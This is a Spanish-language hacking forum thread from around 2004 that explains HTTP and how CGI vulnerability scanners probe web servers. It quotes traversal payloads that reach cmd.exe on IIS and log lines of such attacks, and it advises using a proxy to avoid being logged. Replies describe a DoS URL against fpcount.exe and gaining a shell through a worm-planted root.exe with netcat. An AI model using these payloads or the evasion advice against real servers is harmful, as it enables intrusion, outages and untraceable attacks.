Resultados 1 al 6 de 6

Tema: (Básico) - Como funciona un escaner de vulnerabilidades CGI

  1. #1 (Básico) - Como funciona un escaner de vulnerabilidades CGI 
    Iniciado
    Fecha de ingreso
    Dec 2004
    Mensajes
    7
    Descargas
    0
    Uploads
    0
    Para saber como funcionan, hay que saber un poquito sobre el protocolo http. Aca les dejo algo de info:

    "El Protocolo de Transferencia de HiperTexto (Hypertext Transfer Protocol) es un sencillo protocolo cliente-servidor que articula los intercambios de información entre los clientes Web y los servidores HTTP.
    HTTP se basa en sencillas operaciones de solicitud/respuesta. Un cliente establece una conexión con un servidor y envía un mensaje con los datos de la solicitud. El servidor responde con un mensaje similar, que contiene el estado de la operación y su posible resultado. Todas las operaciones pueden adjuntar un objeto o recurso sobre el que actúan; cada objeto Web (documento HTML, fichero multimedia o aplicación CGI) es conocido por su URL.

    Existen tres verbos básicos (hay más, pero por lo general no se utilizan) que un cliente puede utilizar para dialogar con el servidor: GET, para recoger un objeto, POST, para enviar información al servidor y HEAD, para solicitar las características de un objeto (por ejemplo, la fecha de modificación de un documento HTML).
    Cada operación HTTP implica una conexión con el servidor, que es liberada al término de la misma. Es decir, en una operación se puede recoger un único objeto.
    No mantiene estado. Cada petición de un cliente a un servidor no es influida por las transacciones anteriores. El servidor trata cada petición como una operación totalmente independiente del resto. "
    * Toda la comunicación entre los clientes y servidores se realiza a partir de caracteres de 8 bits. De esta forma, se puede transmitir cualquier tipo de documento: texto, binario, etc., respetando su formato original.

    Etapas de una transacción HTTP
    Cada vez que un cliente realiza una petición a un servidor, se ejecutan los siguientes pasos:

    Un usuario accede a una URL, seleccionando un enlace de un documento HTML o introduciéndola directamente en el campo Location del cliente Web.
    El cliente Web descodifica la URL, separando sus diferentes partes. Así identifica el protocolo de acceso, la dirección DNS o IP del servidor, el posible puerto opcional (el valor por defecto es 80) y el objeto requerido del servidor.
    Se abre una conexión TCP/IP con el servidor, llamando al puerto TCP correspondiente.
    Se realiza la petición. Para ello, se envía el comando necesario (GET, POST, HEAD,…), la dirección del objeto requerido (el contenido de la URL que sigue a la dirección del servidor), la versión del protocolo HTTP empleada (casi siempre HTTP/1.0) y un conjunto variable de información, que incluye datos sobre las capacidades del browser, datos opcionales para el servidor,…
    El servidor devuelve la respuesta al cliente. Consiste en un código de estado y el tipo de dato MIME de la información de retorno, seguido de la propia información.
    Se cierra la conexión TCP
    Bueno, ahora ya estamos en condiciones, vamos a ver como finciona un Scanner CGI.

    Por si no lo saben EL scanner lo que hace es verificar si el servidor posee o nó, ciertos archivos de los cuale se sabe que poseen alguna/as vulnerabilidad. Por ejemplo, el archivo fpcount.exe posee una vulnerabilidad, al pasar el scanner tiene que saber si ese archivo se encuentra en el servidor.

    Todo SCanner CGI posee un archivo en formato de txto plano (txt) donde se hallan todas las rutas donde buscar cada archivo con una vulnerabilidad conocida.
    Para que vean un ejemplo aca les pego un pedazo de un archivo de esos:

    /_mem_bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
    /_mem_bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
    /_mem_bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
    /_mem_bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
    /cgi-bin/iisadmpwd/aexp2.htr
    /cgi-bin/iisadmpwd/anot.htr
    /iisadmpwd/achg.htr
    /iisadmpwd/aexp.htr
    /iisadmpwd/aexp2.htr
    /iisadmpwd/aexp2b.htr
    /iisadmpwd/aexp3.htr
    /iisadmpwd/aexp4.htr
    /iisadmpwd/aexp4b.htr
    /iisadmpwd/anot.htr
    /iisadmpwd/anot3.htr
    /scripts/iisadmin/bdir.htr
    /scripts/issadmin/bdir.htr
    /iishelp/iis/misc/iirturnh.htw
    /iissamples/exair/search/qfullhit.htw
    /iissamples/exair/search/qsumrhit.htw
    /iissamples/issamples/oop/qfullhit.htw
    /iissamples/issamples/oop/qsumrhit.htw
    /scripts/samples/search/qfullhit.htw
    /scripts/samples/search/qsumrhit.htw
    /null.ida
    /null.idc
    /scripts/iisadmin/tools/ctss.idc
    /scripts/samples/ctguestb.idc
    /scripts/samples/details.idc
    /null.idq

    y la lista sigue......... muchos mas! Sonriente


    Bueno, una vez que sabemos esto, vamos a ir al grano.

    Se quiere escanear una URL (por ej, www.coto.com.ar), Entonces el scaner solicita la Url Se abre una conexión TCP/IP con el puerto 80 del sistema www.coto.com.ar y el escanner realiza la solicitud de los archivos con vulnerabilidades que se encuentran en el archivo txt:

    GET /_vti_inf.html HTTP/1.0 (Operación solicitada+objeto+versión de HTTP) (acá verificará si existe el archivo /_vti_inf.html )

    Accept: text/plain (Lista de tipos MIME que acepta o entiende)

    Accept: text/html (el cliente)

    Accept: audio/*

    Accept: video/mpeg

    .. .. ..
    Accept: */* (Indica que acepta otros posibles tipos MIME)

    User-Agent: Mozilla/3.0 (WinNT; I) (Información sobre el tipo de cliente)

    Línea en blanco, indica el final de la petición


    El servidor responde con la siguiente información:
    HTTP/1.0 200 OK (Status de la operación; en este caso, correcto, es decir, el archivo /_vti_inf.html se encuentra en el servidor) El mensaje http 200 es que es correcto e indique que el objeto exixte, si el mensaje fuera 404 el archivo no se encontraria.)

    Date: Monday, 7-Oct-96 18:00:00 Fecha de la operación

    (despues sigue todo esto, que al scanner de vulnerabilidades CGI no le interesa, pues solo quiere saber si existe el archivo, no recibirlo.)

    Server: NCSA 1.4 (Tipo y versión del servidor)

    MIME-version: 1.0 (Versión de MIME que maneja)

    Content-type: text/html (Definición MIME del tipo de datos a devolver)

    Content-length: 254 (Longitud de los datos que siguen)

    Last-modified: 6-Oct-96 12:30:00 (Fecha de modificación de los datos)

    Línea en blanco

    <HTML> Comienzo de los datos


    A todo este proceso, lo hara por cada archivo que se encuentre en el txt del scanner.

    Les suguiero que siempre utilicen un Proxy cuando usan el scanner, pues si no q uedaria registrada su IP en cada objeto que solicitaron, es decir que los servidores web logean la IP de quien hiso el scanner de vulnerabilidades. Para que vean, aca les doy una muestra de como queda logeado todo:

    2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET
    /scripts/../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET
    /scripts/..Á%pc../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:36:45 209.183.204.251 - myIP 80 GET
    /scripts/..À%9v../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:36:56 209.183.204.251 - myIP 80 GET
    /scripts/..À%qf../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET
    /scripts/..Á%8s../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET
    /scripts/..Á.../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:37:04 209.183.204.251 - myIP 80 GET
    /scripts/..o../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET
    /scripts/..ð??¯../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET
    /scripts/..ø???¯../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-08 12:38:17 209.183.204.251 - myIP 80 GET
    /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 01:26:07 200.245.48.155 - myIP GET
    /scripts..\../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 17:57:58 200.230.112.153 - myIP 80 GET
    /iisadmpwd/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 17:58:00 200.230.112.153 - myIP 80 GET
    /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 17:58:14 200.230.112.153 - myIP 80 GET
    /cgi-bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 17:58:22 200.230.112.153 - myIP 80 GET
    /samples/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 17:58:29 200.230.112.153 - myIP 80 GET
    /_vti_cnf/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 17:58:36 200.230.112.153 - myIP 80 GET
    /_vti_bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 -
    2001-05-03 17:58:42 200.230.112.153 - myIP 80 GET
    /adsamples/../../../../../../winnt/system32/cmd.exe /c+dir 404

    myIP seria obviamente mi IP.
    bueno... eso es todo. espero que hallan entendido.
    Saludos.
    Citar  
     

  2. #2  
    Iniciado
    Fecha de ingreso
    Dec 2004
    Mensajes
    23
    Descargas
    0
    Uploads
    0
    Digo de pronto me parece :-), una vez que se que el servidor tiene una aplicacion CGI vulnerable, ¿que tengo que hacer?, ¿busco el exploit para esa vulnerabilidad?, Me gustaria si me puedieran dar un ejemplo de como explotar algun bug CGI, ya que soy medio n00b en esto, o darme alguna direccion donde pueda encontrar informacion. Entiendo que CGI es un estandar de aplicaciones de servidor, pero ¿como consigo shell si hay algun bug en alguna aplicacion de servidor?. Gracias gentes... Adios...
    Me parece que voy a tener que leer primero el Rfc http, no?.. kuakkkk.
    Citar  
     

  3. #3  
    Iniciado
    Fecha de ingreso
    Dec 2004
    Mensajes
    7
    Descargas
    0
    Uploads
    0
    NO,no buscas el exploit para esa vulnerabilidad. Lo primero que tenes que hacer (luego de que el scanner allo el archivo) es ver si es vulnerable. Despues, si es vulnerable buscas el exploit.

    por ejemplo el scanner encuentra el archivo fpcount.exe en el servidor. Este tiene un bug que causa un Buffer Overflow. (solo en el IIS 4.0, si lo encuenta pero la victima tiene un IIS diferente no nos serviria de nada)
    vos poniendo esto en el explorer le causas un DoS.
    http://www.serverx.com/scripts/fpcount.exe?Page=default.htm|Image=3|Digits=10000
    por saturarle recursos del sistema que utiliza el fpcount.exe para generar todos esos digitos de imagenes. (Digits=10000)

    otro ejemplo es que busque el root.exe en www.serverx.com/scripts/root.exe
    con ese archivo podes navegar el rigido del servidor infectado (digo infectado por que a ese archivo lo planta un gusano llamado code red.)

    se te aclaro un poco el asunto?
    saludos.
    Citar  
     

  4. #4  
    Iniciado
    Fecha de ingreso
    Dec 2004
    Mensajes
    23
    Descargas
    0
    Uploads
    0
    Gracias phreaker, re contra claro todo. Pero me surgio otra preguntonta, respecto de los ataques DoS. ¿para que quiero hacer una ataque DoS si lo que quiero es conseguir una Shell?, a lo mejor se puede conseguir = mediante ese ataque. La unica aplicacion que he visto del DoS es para hacer spoofing, para lo cual es muy bueno. Disculpa mi ignorancia, es que soy medio n00b en esto, pero toy en carrera de aprendizaje ;-). Saludos phreaker...
    Citar  
     

  5. #5  
    Iniciado
    Fecha de ingreso
    Dec 2004
    Mensajes
    7
    Descargas
    0
    Uploads
    0
    hola ivanchuck.
    Mirá, un Dos significa Denial of Service. Es decir Denegacion de Servicio. Esto quier decir que no te "metes" en la maquina del otro, sino que le tiras un servicio o directamente la maquina abajo. Con el ejemplo que te di del fpcount.exe (un bug muy viejo que solo afecta a los IIS 4.0) le generas un DoS, ya que al consumirle todos los recursos de la maquina el IIS (Internet information services, el servidor web de microsoft) deja de funcionar. No ingresaste, pero le tiraste abajo el servidor web. (o sea que le tiras abajo todos los sitios web que tenga alojado en el servidor ese).
    Con el ejemplo del root.exe SI podes conseguir una shell. (subiendo al servidor infectado el netcat).
    Espero que allas entendido.
    salu2
    Citar  
     

  6. #6  
    Iniciado
    Fecha de ingreso
    Dec 2004
    Mensajes
    23
    Descargas
    0
    Uploads
    0
    Gracias amigo. Me voy a poner a practicar un poco, pero se me cae todo encima cuando me doy cuenta que ni siquiera puedo ingresar a una maquina en Lan, gue sera asi la cosa :S, nomas..... Saludos
    Citar  
     

Temas similares

  1. como se averiguan las keys , y como funciona eso
    Por pacaja en el foro DIGITAL+
    Respuestas: 1
    Último mensaje: 27-04-2007, 19:26
  2. no se como funciona
    Por neus en el foro DIGITAL+
    Respuestas: 1
    Último mensaje: 24-05-2006, 17:28
  3. como funciona un ftp
    Por Blade en el foro JUEGOS
    Respuestas: 4
    Último mensaje: 14-09-2002, 09:04
  4. Mi escaner
    Por IcE-SkAtE en el foro HARDWARE
    Respuestas: 1
    Último mensaje: 05-05-2002, 23:30
  5. ¿Como funciona el SSS?
    Por KaoS en el foro INTRUSION
    Respuestas: 2
    Último mensaje: 22-01-2002, 00:29

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •